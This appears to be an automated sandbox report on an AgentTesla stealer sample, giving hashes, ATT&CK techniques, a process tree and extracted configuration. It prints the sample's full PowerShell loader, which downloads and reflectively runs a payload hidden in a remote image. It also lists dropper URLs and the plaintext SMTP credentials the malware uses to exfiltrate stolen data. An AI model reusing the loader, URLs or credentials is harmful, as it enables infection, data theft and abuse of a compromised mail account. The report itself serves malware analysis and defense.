agenttesla | 943869c0fd11cfbfdbf3ba902377e1470be12c94a9f2d49c952a14a9700552b0

General

Target

PO24090026.js
Size

75KB
MD5

2e461076f6618e8f34ac4ada5bcc55fd
SHA1

343a6c8b272ee7c261c9a3fb1eda91f769cc18ed
SHA256

943869c0fd11cfbfdbf3ba902377e1470be12c94a9f2d49c952a14a9700552b0
SHA512

c4d0fc5f78321824c32493491cf0e29bb50a24294eb08e6934d206e4adeaa1aa1f7ddc2f443fe5e4ba9bb8d534443af61e9bdb8578573c66ab2f2b754d599985
SSDEEP

1536:8Z4xzQ6VsYE/D5OK1hoFPqd50a+X7psEBCCB29f+JrdWXOUPmMcA9KBwbBs:8SzQ6Vo/9RzY

Score

10^/10

agenttesla discovery execution keylogger spyware stealer trojan

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg%20

exe.dropper

https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg%20

Extracted

Credentials

Protocol: smtp
Host:
mail.ctdi.com.ph
Port:
587
Username:
[email protected]
Password:
A#f+Y]H8iO4a

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.ctdi.com.ph
Port:
587
Username:
[email protected]
Password:
A#f+Y]H8iO4a
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Agenttesla family
agenttesla

Blocklisted process makes network request 2 IoCs

flow	pid	Process
4	2676	powershell.exe
20	2676	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	wscript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2676	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
22	ip-api.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2676 set thread context of 1964	2676	powershell.exe	93

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2676	powershell.exe
2676	powershell.exe
2676	powershell.exe
2676	powershell.exe
1964	MSBuild.exe
1964	MSBuild.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2676	powershell.exe
Token: SeDebugPrivilege	1964	MSBuild.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 1588 wrote to memory of 2676	1588	wscript.exe	83
PID 1588 wrote to memory of 2676	1588	wscript.exe	83
PID 2676 wrote to memory of 1712	2676	powershell.exe	92
PID 2676 wrote to memory of 1712	2676	powershell.exe	92
PID 2676 wrote to memory of 1712	2676	powershell.exe	92
PID 2676 wrote to memory of 1964	2676	powershell.exe	93
PID 2676 wrote to memory of 1964	2676	powershell.exe	93
PID 2676 wrote to memory of 1964	2676	powershell.exe	93
PID 2676 wrote to memory of 1964	2676	powershell.exe	93
PID 2676 wrote to memory of 1964	2676	powershell.exe	93
PID 2676 wrote to memory of 1964	2676	powershell.exe	93
PID 2676 wrote to memory of 1964	2676	powershell.exe	93
PID 2676 wrote to memory of 1964	2676	powershell.exe	93

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\PO24090026.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1588
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$parkinson = 'https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg ';$paunches = New-Object System.Net.WebClient;$hebiter = $paunches.DownloadData($parkinson);$tsarevichi = [System.Text.Encoding]::UTF8.GetString($hebiter);$shilpit = '<<BASE64_START>>';$riotise = '<<BASE64_END>>';$percylite = $tsarevichi.IndexOf($shilpit);$marbleization = $tsarevichi.IndexOf($riotise);$percylite -ge 0 -and $marbleization -gt $percylite;$percylite += $shilpit.Length;$Rybnik = $marbleization - $percylite;$overbill = $tsarevichi.Substring($percylite, $Rybnik);$unvaccinated = -join ($overbill.ToCharArray() | ForEach-Object { $_ })[-1..-($overbill.Length)];$autosave = [System.Convert]::FromBase64String($unvaccinated);$chemotropism = [System.Reflection.Assembly]::Load($autosave);$queef = [dnlib.IO.Home].GetMethod('VAI');$queef.Invoke($null, @('txt.tirb/ved.2r.39b345302a075b1bc0d45b632eb9ee62-bup//:sptth', '$punkling', '$punkling', '$punkling', 'MSBuild', '$punkling', '$punkling','$punkling','$punkling','$punkling','$punkling','$punkling','1','$punkling','TaskName'));"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2676
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:1712
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1964

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1ctncor0.ecf.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1964-18-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/1964-27-0x00000000069B0000-0x00000000069BA000-memory.dmp

Filesize
40KB

Download
memory/1964-26-0x00000000069E0000-0x0000000006A72000-memory.dmp

Filesize
584KB

Download
memory/1964-25-0x00000000067A0000-0x000000000683C000-memory.dmp

Filesize
624KB

Download
memory/1964-24-0x00000000066B0000-0x0000000006700000-memory.dmp

Filesize
320KB

Download
memory/1964-23-0x00000000054F0000-0x0000000005556000-memory.dmp

Filesize
408KB

Download
memory/1964-22-0x00000000058B0000-0x0000000005E54000-memory.dmp

Filesize
5.6MB

Download
memory/2676-13-0x00007FFBB2EA0000-0x00007FFBB3961000-memory.dmp

Filesize
10.8MB

Download
memory/2676-17-0x0000013AC8470000-0x0000013AC861A000-memory.dmp

Filesize
1.7MB

Download
memory/2676-21-0x00007FFBB2EA0000-0x00007FFBB3961000-memory.dmp

Filesize
10.8MB

Download
memory/2676-16-0x00007FFBB2EA0000-0x00007FFBB3961000-memory.dmp

Filesize
10.8MB

Download
memory/2676-15-0x00007FFBB2EA0000-0x00007FFBB3961000-memory.dmp

Filesize
10.8MB

Download
memory/2676-14-0x00007FFBB2EA3000-0x00007FFBB2EA5000-memory.dmp

Filesize
8KB

Download
memory/2676-1-0x00007FFBB2EA3000-0x00007FFBB2EA5000-memory.dmp

Filesize
8KB

Download
memory/2676-12-0x00007FFBB2EA0000-0x00007FFBB3961000-memory.dmp

Filesize
10.8MB

Download
memory/2676-2-0x0000013A87A10000-0x0000013A87A32000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads